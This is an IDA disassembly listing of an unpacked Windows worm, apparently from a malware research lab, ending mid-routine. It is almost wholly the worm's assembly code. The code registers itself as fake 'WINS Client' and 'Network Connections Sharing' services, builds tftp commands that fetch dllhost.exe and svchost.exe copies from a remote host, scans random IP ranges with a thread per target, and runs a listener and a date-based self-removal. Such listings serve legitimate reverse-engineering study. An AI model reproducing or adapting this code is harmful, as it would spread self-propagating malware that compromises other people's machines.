;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	543EBB463C64C6D04CAD5A4B2D381985

; File Name   :	u:\work\543ebb463c64c6d04cad5a4b2d381985_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00006000 (  24576.)
; Section size in file		: 00006000 (  24576.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_402A00+Dp
					; DATA XREF: sub_40A38C+13Dr ...

var_230		= dword	ptr -230h
var_22C		= byte ptr -22Ch
var_228		= dword	ptr -228h
var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
arg_0		= dword	ptr  4

		sub	esp, 230h


loc_401006:				; DATA XREF: seg002:0040A2BFo
		push	ebp
		push	esi
		push	edi
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [esp+23Ch+var_107]
		mov	[esp+23Ch+var_108], 0
		lea	edx, [esp+23Ch+var_108]
		rep stosd
		mov	edi, [esp+23Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+23Ch+var_230], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		push	eax
		rep movsb
		mov	ecx, 49h
		lea	edi, [esp+240h+var_22C]
		rep stosd
		push	2
		call	sub_403134	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4010E7
		lea	ecx, [esp+23Ch+var_230]
		mov	[esp+23Ch+var_230], 128h
		push	ecx
		push	edi
		call	sub_40312E	; Process32First
		test	eax, eax
		jz	short loc_4010E0
		mov	esi, dword_404120
		mov	ebp, dword_404140


loc_401091:				; CODE XREF: sub_401000+C9j
		lea	edx, [esp+23Ch+var_20C]
		push	2Eh
		push	edx
		call	esi ; dword_404120
		add	esp, 8
		test	eax, eax
		jz	short loc_4010A4
		mov	byte ptr [eax],	0


loc_4010A4:				; CODE XREF: sub_401000+9Fj
		lea	eax, [esp+23Ch+var_108]
		lea	ecx, [esp+23Ch+var_20C]
		push	eax
		push	ecx
		call	ebp ; dword_404140
		add	esp, 8
		test	eax, eax
		jz	short loc_4010CB
		lea	edx, [esp+23Ch+var_230]
		push	edx
		push	edi
		call	sub_403128	; Process32Next
		test	eax, eax
		jz	short loc_4010E0
		jmp	short loc_401091
; ---------------------------------------------------------------------------


loc_4010CB:				; CODE XREF: sub_401000+B8j
		push	edi
		call	dword_4040E0	; CloseHandle
		mov	eax, [esp+23Ch+var_228]
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 230h
		retn
; ---------------------------------------------------------------------------


loc_4010E0:				; CODE XREF: sub_401000+83j
					; sub_401000+C7j
		push	edi
		call	dword_4040E0	; CloseHandle


loc_4010E7:				; CODE XREF: sub_401000+6Cj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 230h
		retn
sub_401000	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401100	proc near		; CODE XREF: sub_401470+38p

var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_40413C
		call	esi ; dword_40413C
		cdq
		mov	ecx, 11h
		idiv	ecx
		cmp	edx, 0Eh
		jnz	short loc_40112E
		call	esi ; dword_40413C
		mov	ebx, eax
		and	ebx, 80000003h
		jns	short loc_401129
		dec	ebx
		or	ebx, 0FFFFFFFCh
		inc	ebx


loc_401129:				; CODE XREF: sub_401100+22j
		add	bl, 3Fh
		jmp	short loc_401160
; ---------------------------------------------------------------------------


loc_40112E:				; CODE XREF: sub_401100+16j
		cmp	edx, 0Fh
		jnz	short loc_401144
		call	esi ; dword_40413C
		cdq
		mov	ecx, 2Dh
		idiv	ecx
		mov	ebx, edx
		add	bl, 80h
		jmp	short loc_401160
; ---------------------------------------------------------------------------


loc_401144:				; CODE XREF: sub_401100+31j
		cmp	edx, 10h
		jnz	short loc_40115A
		call	esi ; dword_40413C
		cdq
		mov	ecx, 9
		idiv	ecx
		mov	ebx, edx
		sub	bl, 40h
		jmp	short loc_401160
; ---------------------------------------------------------------------------


loc_40115A:				; CODE XREF: sub_401100+47j
		mov	bl, byte_405BA4[edx]


loc_401160:				; CODE XREF: sub_401100+2Cj
					; sub_401100+42j ...
		call	esi ; dword_40413C
		and	eax, 800000FFh
		jns	short loc_401170
		dec	eax
		or	eax, 0FFFFFF00h
		inc	eax


loc_401170:				; CODE XREF: sub_401100+67j
		mov	[esp+0Ch+var_2], al
		call	esi ; dword_40413C
		and	eax, 800000FFh
		jns	short loc_401184
		dec	eax
		or	eax, 0FFFFFF00h
		inc	eax


loc_401184:				; CODE XREF: sub_401100+7Bj
		mov	[esp+0Ch+var_1], al
		call	esi ; dword_40413C
		and	eax, 800000FFh
		jns	short loc_401198
		dec	eax
		or	eax, 0FFFFFF00h
		inc	eax


loc_401198:				; CODE XREF: sub_401100+8Fj
		xor	edx, edx
		xor	ecx, ecx
		mov	ch, [esp+0Ch+var_1]
		mov	dh, bl
		mov	dl, [esp+0Ch+var_2]
		and	eax, 0FFh
		shl	edx, 10h
		or	eax, edx
		and	ecx, 0FFFFh
		pop	esi
		or	eax, ecx
		pop	ebx
		pop	ecx
		retn
sub_401100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4011C0	proc near		; CODE XREF: seg000:004030AAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		call	dword_4040CC	; FreeConsole
		call	sub_4027B0
		test	eax, eax
		jnz	short locret_4011FB
		push	104h
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		call	dword_4040D0	; GetSystemDirectoryA
		call	sub_402730
		sub	eax, 2
		jz	short loc_4011FC
		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4016D0
		add	esp, 8

locret_4011FB:				; CODE XREF: sub_4011C0+Dj
		retn
; ---------------------------------------------------------------------------


loc_4011FC:				; CODE XREF: sub_4011C0+27j
		jmp	sub_4027E0
sub_4011C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401210	proc near		; CODE XREF: sub_401280+AFp
					; sub_401280:loc_4013B1p ...
		push	esi
		mov	esi, dword_4040C8


loc_401217:				; CODE XREF: sub_401210+27j
		call	sub_401E80
		test	eax, eax
		jnz	short loc_401230


loc_401220:				; CODE XREF: sub_401210+1Ej
		push	927C0h
		call	esi ; dword_4040C8
		call	sub_401E80
		test	eax, eax
		jz	short loc_401220


loc_401230:				; CODE XREF: sub_401210+Ej
		call	sub_401EA0
		test	eax, eax
		jz	short loc_401217
		mov	esi, dword_40411C
		push	offset dword_407478
		push	offset aTftpISGetDllho ; "tftp -i %s get dllhost.exe wins\\DLLHOST"...
		push	offset dword_4075A8
		call	esi ; dword_40411C
		add	esp, 0Ch
		push	offset dword_407478
		push	offset aTftpISGetSvcho ; "tftp -i %s get svchost.exe wins\\SVCHOST"...
		push	offset dword_407628
		call	esi ; dword_40411C
		add	esp, 0Ch
		call	sub_4020E0
		call	sub_402130
		pop	esi
		retn
sub_401210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401280	proc near		; CODE XREF: sub_4016D0+Aj
					; seg000:0040294Fp

var_1A0		= word ptr -1A0h
var_194		= byte ptr -194h
var_190		= byte ptr -190h

		sub	esp, 1A4h
		lea	eax, [esp+1A4h+var_190]
		push	eax
		push	202h
		call	dword_40418C	; WSAStartup
		test	eax, eax
		jnz	loc_401359
		call	sub_402A00
		lea	ecx, [esp+1A4h+var_1A0]
		push	ecx
		call	dword_4040B8	; GetLocalTime
		cmp	[esp+1A4h+var_1A0], 7D4h
		jnz	short loc_4012DB
		push	offset aRpcpatch ; "RpcPatch"
		call	sub_402F00
		push	offset aRpctftpd ; "RpcTftpd"
		call	sub_402F00
		add	esp, 8
		call	sub_402970
		push	1
		call	dword_4040BC	; ExitProcess


loc_4012DB:				; CODE XREF: sub_401280+35j
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_4040C0	; GetTickCount
		push	eax
		call	dword_404104	; srand
		mov	esi, dword_4040C8
		mov	ecx, 10h
		mov	eax, 0AAAAAAAAh
		mov	edi, offset dword_406430
		add	esp, 4
		rep stosd


loc_401306:				; CODE XREF: sub_401280+A3j
		push	109A0h
		call	sub_402FC0
		add	esp, 4
		mov	ds:dword_4075A0, eax
		push	64h
		call	esi ; dword_4040C8
		mov	eax, ds:dword_4075A0
		test	eax, eax
		jz	short loc_401306
		call	sub_401F30
		call	sub_402170
		call	sub_401210
		call	sub_401780
		lea	edx, [esp+1A4h+var_194]
		push	edx
		push	0
		push	0
		push	offset sub_401990
		push	0
		push	0
		call	dword_4040C4	; CreateThread
		test	eax, eax
		jnz	short loc_401360
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_401359:				; CODE XREF: sub_401280+18j
		add	esp, 1A4h
		retn
; ---------------------------------------------------------------------------


loc_401360:				; CODE XREF: sub_401280+D3j
		push	eax
		call	dword_4040E0	; CloseHandle
		push	offset aRpctftpd ; "RpcTftpd"
		call	sub_402540
		add	esp, 4
		test	eax, eax
		jnz	short loc_401398
		push	3E8h
		call	esi ; dword_4040C8
		call	sub_4015E0
		push	3E8h
		call	esi ; dword_4040C8
		push	offset aRpctftpd ; "RpcTftpd"
		call	sub_402540
		add	esp, 4


loc_401398:				; CODE XREF: sub_401280+F6j
		push	7D0h
		call	esi ; dword_4040C8
		mov	ebx, dword_404190
		mov	ebp, dword_404194
		mov	edi, dword_40413C


loc_4013B1:				; CODE XREF: sub_401280+1DEj
		call	sub_401210
		push	offset dword_407478
		call	ebp ; dword_404194
		push	eax
		call	ebx ; dword_404190
		mov	esi, eax
		push	0
		and	esi, 0FFFF0000h
		push	0
		push	1
		push	esi
		call	sub_401470
		add	esp, 10h
		call	sub_401210
		call	edi ; dword_40413C
		and	eax, 80000001h
		jns	short loc_4013EA
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax


loc_4013EA:				; CODE XREF: sub_401280+163j
		jz	short loc_4013F4
		add	esi, 10000h
		jmp	short loc_4013FA
; ---------------------------------------------------------------------------


loc_4013F4:				; CODE XREF: sub_401280:loc_4013EAj
		sub	esi, 30000h


loc_4013FA:				; CODE XREF: sub_401280+172j
		push	0
		push	0
		push	3
		push	esi
		call	sub_401470
		call	sub_401210
		call	edi ; dword_40413C
		cdq
		mov	ecx, 4Ch
		xor	esi, esi
		idiv	ecx
		push	1
		push	0
		push	1
		mov	si, word_40537C[edx*2]
		shl	esi, 10h
		push	esi
		call	sub_401470
		add	esp, 20h
		call	sub_401210
		call	edi ; dword_40413C
		and	eax, 80000001h
		jns	short loc_401444
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax


loc_401444:				; CODE XREF: sub_401280+1BDj
		jz	short loc_40144A
		push	0
		jmp	short loc_40144C
; ---------------------------------------------------------------------------


loc_40144A:				; CODE XREF: sub_401280:loc_401444j
		push	1


loc_40144C:				; CODE XREF: sub_401280+1C8j
					; DATA XREF: sub_40A38C+31Br
		push	1
		push	1
		push	esi
		call	sub_401470
		add	esp, 10h
		call	sub_402A00
		jmp	loc_4013B1
sub_401280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401470	proc near		; CODE XREF: sub_401280+14Fp
					; sub_401280+181p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_4040C8
		push	esi
		mov	esi, [esp+18h+arg_4]
		push	edi
		shl	esi, 10h
		xor	edi, edi
		xor	ebx, ebx
		test	esi, esi
		mov	[esp+1Ch+var_8], 1
		mov	[esp+1Ch+var_C], ebx
		mov	[esp+1Ch+var_4], esi
		jle	loc_4015C7


loc_4014A0:				; CODE XREF: sub_401470+151j
		mov	eax, [esp+1Ch+arg_8]
		test	eax, eax
		jz	short loc_4014B1
		call	sub_401100
		mov	ebx, eax
		jmp	short loc_4014B7
; ---------------------------------------------------------------------------


loc_4014B1:				; CODE XREF: sub_401470+36j
		mov	eax, [esp+1Ch+arg_0]
		add	ebx, eax


loc_4014B7:				; CODE XREF: sub_401470+3Fj
		cmp	bl, 0C5h
		jz	loc_4015B6
		mov	ecx, ebx
		shr	ecx, 8
		cmp	cl, 0C5h
		jz	loc_4015B6
		mov	eax, ebx
		shr	eax, 10h
		cmp	al, 0C5h
		jz	loc_4015B6
		mov	edx, ebx
		shr	edx, 18h
		cmp	dl, 0C5h
		jz	loc_4015B6
		cmp	bx, 9999h
		jz	loc_4015B6
		cmp	cx, 9999h
		jz	loc_4015B6
		cmp	ax, 9999h
		jz	loc_4015B6
		push	4
		call	sub_402FC0
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_40152D
		push	64h
		call	ebp ; dword_4040C8
		push	4
		call	sub_402FC0
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_401575


loc_40152D:				; CODE XREF: sub_401470+A7j
		test	edi, edi
		jz	short loc_401538
		push	edi
		call	dword_4040E0	; CloseHandle


loc_401538:				; CODE XREF: sub_401470+BFj
		push	ebx
		call	dword_404188	; ntohl
		mov	[esi], eax
		mov	eax, [esp+1Ch+arg_C]
		test	eax, eax
		jz	short loc_401558
		lea	eax, [esp+1Ch+arg_4]
		push	eax
		push	0
		push	esi
		push	offset sub_402C40
		jmp	short loc_401565
; ---------------------------------------------------------------------------


loc_401558:				; CODE XREF: sub_401470+D7j
		lea	ecx, [esp+1Ch+arg_4]
		push	ecx
		push	0
		push	esi
		push	offset sub_402B20


loc_401565:				; CODE XREF: sub_401470+E6j
		push	0
		push	0
		call	dword_4040C4	; CreateThread
		push	2
		mov	edi, eax
		call	ebp ; dword_4040C8


loc_401575:				; CODE XREF: sub_401470+BBj
		mov	eax, [esp+1Ch+var_8]
		test	eax, eax
		jz	short loc_401596
		cmp	[esp+1Ch+var_C], 12Ch
		jl	short loc_401596
		push	7D0h
		call	ebp ; dword_4040C8
		mov	[esp+1Ch+var_8], 0


loc_401596:				; CODE XREF: sub_401470+10Bj
					; sub_401470+115j
		cmp	ds:dword_4075A4, 12Ch
		jl	short loc_4015B2


loc_4015A2:				; CODE XREF: sub_401470+140j
		push	2
		call	ebp ; dword_4040C8
		cmp	ds:dword_4075A4, 12Ch
		jge	short loc_4015A2


loc_4015B2:				; CODE XREF: sub_401470+130j
		mov	esi, [esp+1Ch+var_4]


loc_4015B6:				; CODE XREF: sub_401470+4Aj
					; sub_401470+58j ...
		mov	ebx, [esp+1Ch+var_C]
		inc	ebx


loc_4015BB:				; DATA XREF: sub_40A38C+F0r
		cmp	ebx, esi
		mov	[esp+1Ch+var_C], ebx
		jl	loc_4014A0


loc_4015C7:				; CODE XREF: sub_401470+2Aj
		push	0EA60h
		call	ebp ; dword_4040C8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
sub_401470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4015E0	proc near		; CODE XREF: sub_401280+FFp
					; sub_4016D0p

var_208		= byte ptr -208h
var_104		= byte ptr -104h

		sub	esp, 208h
		lea	eax, [esp+208h+var_104]
		push	esi
		mov	esi, dword_40411C
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	offset aSDllcacheTftpd ; "%s\\dllcache\\tftpd.exe"
		push	eax
		call	esi ; dword_40411C
		add	esp, 0Ch
		lea	ecx, [esp+20Ch+var_208]
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	offset aSWinsSvchost_e ; "%s\\wins\\svchost.exe"
		push	ecx
		call	esi ; dword_40411C
		add	esp, 0Ch
		lea	edx, [esp+20Ch+var_208]
		lea	eax, [esp+20Ch+var_104]
		push	0
		push	edx
		push	eax
		call	dword_4040B4	; CopyFileA
		push	offset aMsdtc	; "MSDTC"
		push	offset aSvchost_exe ; "svchost.exe"
		push	offset aNetworkConnect ; "Network Connections Sharing"
		push	offset aRpctftpd ; "RpcTftpd"
		call	sub_4023E0
		add	esp, 10h
		pop	esi
		add	esp, 208h
		retn
sub_4015E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401660	proc near		; CODE XREF: sub_4016D0+5p

var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h

		sub	esp, 20Ch
		lea	eax, [esp+20Ch+var_108]
		push	104h
		push	eax
		push	0
		call	dword_4040A8	; GetModuleFileNameA
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		lea	ecx, [esp+210h+var_20C]
		push	offset aSWinsDllhost_e ; "%s\\wins\\DLLHOST.EXE"
		push	ecx
		call	dword_40411C	; sprintf
		add	esp, 0Ch
		lea	edx, [esp+20Ch+var_20C]
		lea	eax, [esp+20Ch+var_108]
		push	0
		push	edx
		push	eax
		call	dword_4040B4	; CopyFileA
		push	offset aBrowser	; "Browser"
		push	offset aDllhost_exe ; "DLLHOST.EXE"
		push	offset aWinsClient ; "WINS Client"
		push	offset aRpcpatch ; "RpcPatch"
		call	sub_4023E0
		add	esp, 21Ch
		retn
sub_401660	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4016D0	proc near		; CODE XREF: sub_4011C0+33p
		call	sub_4015E0
		call	sub_401660
		jmp	sub_401280
sub_4016D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4016E0	proc near		; CODE XREF: sub_401780:loc_4018BCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		push	0
		push	0
		push	eax
		push	ecx
		push	0
		call	sub_403110
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_4016E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401700	proc near		; CODE XREF: sub_401780+16Dp

var_54		= dword	ptr -54h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		lea	ecx, [esp+58h+var_54]
		lea	edx, [esp+58h+var_44]
		push	ecx
		mov	ecx, [esp+5Ch+arg_0]
		push	edx
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	ecx
		push	eax
		mov	[esp+80h+var_44], 44h
		mov	[esp+80h+var_40], eax
		mov	[esp+80h+var_38], eax
		mov	[esp+80h+var_3C], eax
		mov	[esp+80h+var_28], eax
		mov	[esp+80h+var_2C], eax
		mov	[esp+80h+var_30], eax
		mov	[esp+80h+var_34], eax
		mov	[esp+80h+var_14], ax
		mov	[esp+80h+var_10], eax
		mov	[esp+80h+var_12], ax
		mov	[esp+80h+var_18], 1
		call	dword_4040E4	; CreateProcessA
		mov	ecx, [esp+58h+var_54]
		pop	edi
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		add	esp, 54h
		retn
sub_401700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401780	proc near		; CODE XREF: sub_401280+B4p

var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= word ptr -0B8h
var_B6		= byte ptr -0B6h
var_B4		= byte ptr -0B4h

		sub	esp, 0C8h
		push	esi
		push	edi
		call	sub_402310
		mov	edi, eax
		test	edi, edi
		jz	short loc_40179C
		cmp	edi, 1
		jnz	loc_4018C8


loc_40179C:				; CODE XREF: sub_401780+11j
		push	edi
		call	sub_402390
		add	esp, 4
		test	eax, eax
		jnz	loc_4018C8
		call	dword_4040A0	; GetOEMCP
		mov	esi, eax
		call	dword_4040A4	; GetSystemDefaultLCID
		mov	ecx, eax
		and	ecx, 3FFh
		shr	ax, 0Ah
		cmp	esi, 1B5h
		jnz	short loc_4017E7
		cmp	cx, 9
		jnz	loc_40192F
		cmp	ax, 1
		jnz	loc_40192F
		xor	eax, eax
		jmp	short loc_40185E
; ---------------------------------------------------------------------------


loc_4017E7:				; CODE XREF: sub_401780+4Dj
		cmp	esi, 3A8h
		jnz	short loc_40180A
		cmp	cx, 4
		jnz	loc_40192F
		cmp	ax, 2
		jnz	loc_40192F
		mov	eax, 1
		jmp	short loc_40185E
; ---------------------------------------------------------------------------


loc_40180A:				; CODE XREF: sub_401780+6Dj
		cmp	esi, 3B6h
		jnz	short loc_40182D
		cmp	cx, 4
		jnz	loc_40192F
		cmp	ax, 1
		jnz	loc_40192F
		mov	eax, 2
		jmp	short loc_40185E
; ---------------------------------------------------------------------------


loc_40182D:				; CODE XREF: sub_401780+90j
		cmp	esi, 3A4h
		jz	loc_40192F
		cmp	esi, 3B5h
		jnz	loc_40192F
		cmp	cx, 12h
		jnz	loc_40192F
		cmp	ax, 1
		jnz	loc_40192F
		mov	eax, 3


loc_40185E:				; CODE XREF: sub_401780+65j
					; sub_401780+88j ...
		mov	ecx, dword_4061A8
		mov	edx, dword_4061AC
		mov	[esp+0D0h+var_C8], ecx
		mov	ecx, dword_4061B0
		mov	[esp+0D0h+var_C4], edx
		mov	edx, dword_4061B4
		mov	[esp+0D0h+var_C0], ecx
		mov	cx, word_4061B8
		mov	[esp+0D0h+var_BC], edx
		mov	dl, byte_4061BA
		test	edi, edi
		mov	[esp+0D0h+var_B8], cx
		mov	[esp+0D0h+var_B6], dl
		jnz	short loc_4018AF
		mov	eax, off_405424[eax*4]
		lea	ecx, [esp+0D0h+var_C8]
		push	eax
		push	ecx
		jmp	short loc_4018BC
; ---------------------------------------------------------------------------


loc_4018AF:				; CODE XREF: sub_401780+11Ej
		mov	edx, off_405414[eax*4]
		lea	eax, [esp+0D0h+var_C8]
		push	edx
		push	eax


loc_4018BC:				; CODE XREF: sub_401780+12Dj
		call	sub_4016E0
		add	esp, 8
		test	eax, eax
		jnz	short loc_4018D3


loc_4018C8:				; CODE XREF: sub_401780+16j
					; sub_401780+27j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0C8h
		retn
; ---------------------------------------------------------------------------


loc_4018D3:				; CODE XREF: sub_401780+146j
		lea	ecx, [esp+0D0h+var_C8]
		lea	edx, [esp+0D0h+var_B4]
		push	ecx


loc_4018DC:				; DATA XREF: seg002:0040A6B1o
		push	offset aSNOZQ	; "%s -n -o -z -q"
		push	edx
		call	dword_40411C	; sprintf
		lea	eax, [esp+0DCh+var_B4]
		push	eax
		call	sub_401700
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jnz	short loc_401904
		pop	edi
		pop	esi
		add	esp, 0C8h
		retn
; ---------------------------------------------------------------------------


loc_401904:				; CODE XREF: sub_401780+179j
		push	57E40h
		push	esi
		call	dword_4040B0	; WaitForSingleObject
		test	eax, eax
		jz	short loc_40193A
		push	1
		push	esi
		call	dword_4040AC	; TerminateProcess
		push	esi
		call	dword_4040E0	; CloseHandle
		lea	ecx, [esp+0D0h+var_C8]
		push	ecx
		call	dword_4040E8	; DeleteFileA


loc_40192F:				; CODE XREF: sub_401780+53j
					; sub_401780+5Dj ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0C8h
		retn
; ---------------------------------------------------------------------------


loc_40193A:				; CODE XREF: sub_401780+192j
		push	esi
		call	dword_4040E0	; CloseHandle
		mov	esi, dword_4040C8
		push	3A98h
		call	esi ; dword_4040C8
		lea	edx, [esp+0D0h+var_C8]
		push	edx
		call	dword_4040E8	; DeleteFileA
		push	edi
		call	sub_402390
		add	esp, 4
		test	eax, eax
		jz	short loc_401977
		push	2
		call	sub_4022A0
		add	esp, 4
		push	4E20h
		call	esi ; dword_4040C8


loc_401977:				; CODE XREF: sub_401780+1E4j
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0C8h
		retn
sub_401780	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401990	proc near		; DATA XREF: sub_401280+C2o

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= byte ptr -10h

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_404150	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_401AFA
		push	0
		call	dword_404188	; ntohl
		mov	[esp+38h+var_20], 2
		mov	[esp+38h+var_1C], eax
		call	dword_40413C	; rand
		cdq
		mov	ecx, 64h
		mov	ebx, dword_404174
		idiv	ecx
		mov	ebp, dword_404178
		add	edx, 29Ah
		xor	esi, esi


loc_4019E3:				; CODE XREF: sub_401990+8Fj
		add	dx, si
		xor	eax, eax
		mov	al, dh
		mov	word_405B68, dx
		cmp	al, 0C5h
		jz	short loc_401A18
		cmp	dl, 0C5h
		jz	short loc_401A18
		push	edx
		call	ebx ; dword_404174
		lea	ecx, [esp+38h+var_20]
		push	10h
		push	ecx
		push	edi
		mov	[esp+44h+var_1E], ax
		call	ebp ; dword_404178
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A21
		mov	dx, word_405B68


loc_401A18:				; CODE XREF: sub_401990+63j
					; sub_401990+68j
		inc	esi
		cmp	esi, 3E8h
		jl	short loc_4019E3


loc_401A21:				; CODE XREF: sub_401990+7Fj
		cmp	esi, 3E8h
		jnz	short loc_401A37
		call	dword_40417C	; WSACleanup
		push	1
		call	dword_4040BC	; ExitProcess


loc_401A37:				; CODE XREF: sub_401990+97j
		push	7D0h
		push	edi


loc_401A3D:				; DATA XREF: seg002:0040A4F0r
		call	dword_404180	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_401AF3
		lea	edx, [esp+38h+var_28]
		lea	eax, [esp+38h+var_10]
		push	edx
		push	eax
		push	edi
		mov	[esp+44h+var_28], 10h
		call	dword_404184	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_401AF3
		mov	ebp, dword_4040C8
		mov	ebx, dword_4040C4


loc_401A7C:				; CODE XREF: sub_401990+142j
		push	4
		call	sub_402FC0
		add	esp, 4
		test	eax, eax
		jnz	short loc_401A9C
		push	0Ah
		call	ebp ; dword_4040C8
		push	4
		call	sub_402FC0
		add	esp, 4
		test	eax, eax
		jz	short loc_401ABC


loc_401A9C:				; CODE XREF: sub_401990+F8j
		lea	ecx, [esp+38h+var_24]
		mov	[eax], esi
		push	ecx
		push	0
		push	eax
		push	offset sub_401C80
		push	0
		push	0
		call	ebx ; dword_4040C4
		test	eax, eax
		jz	short loc_401AE7
		push	eax
		call	dword_4040E0	; CloseHandle


loc_401ABC:				; CODE XREF: sub_401990+10Aj
		lea	edx, [esp+38h+var_28]
		lea	eax, [esp+38h+var_10]
		push	edx
		push	eax
		push	edi
		call	dword_404184	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_401A7C
		push	edi
		call	dword_404170	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 28h
		retn	4
; ---------------------------------------------------------------------------


loc_401AE7:				; CODE XREF: sub_401990+123j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_401AF3
		push	esi
		call	dword_404170	; closesocket


loc_401AF3:				; CODE XREF: sub_401990+B6j
					; sub_401990+DAj ...
		push	edi
		call	dword_404170	; closesocket


loc_401AFA:				; CODE XREF: sub_401990+18j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 28h
		retn	4
sub_401990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401B10	proc near		; CODE XREF: sub_401C80+D8p
					; sub_401C80+121p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_4]
		push	ebx
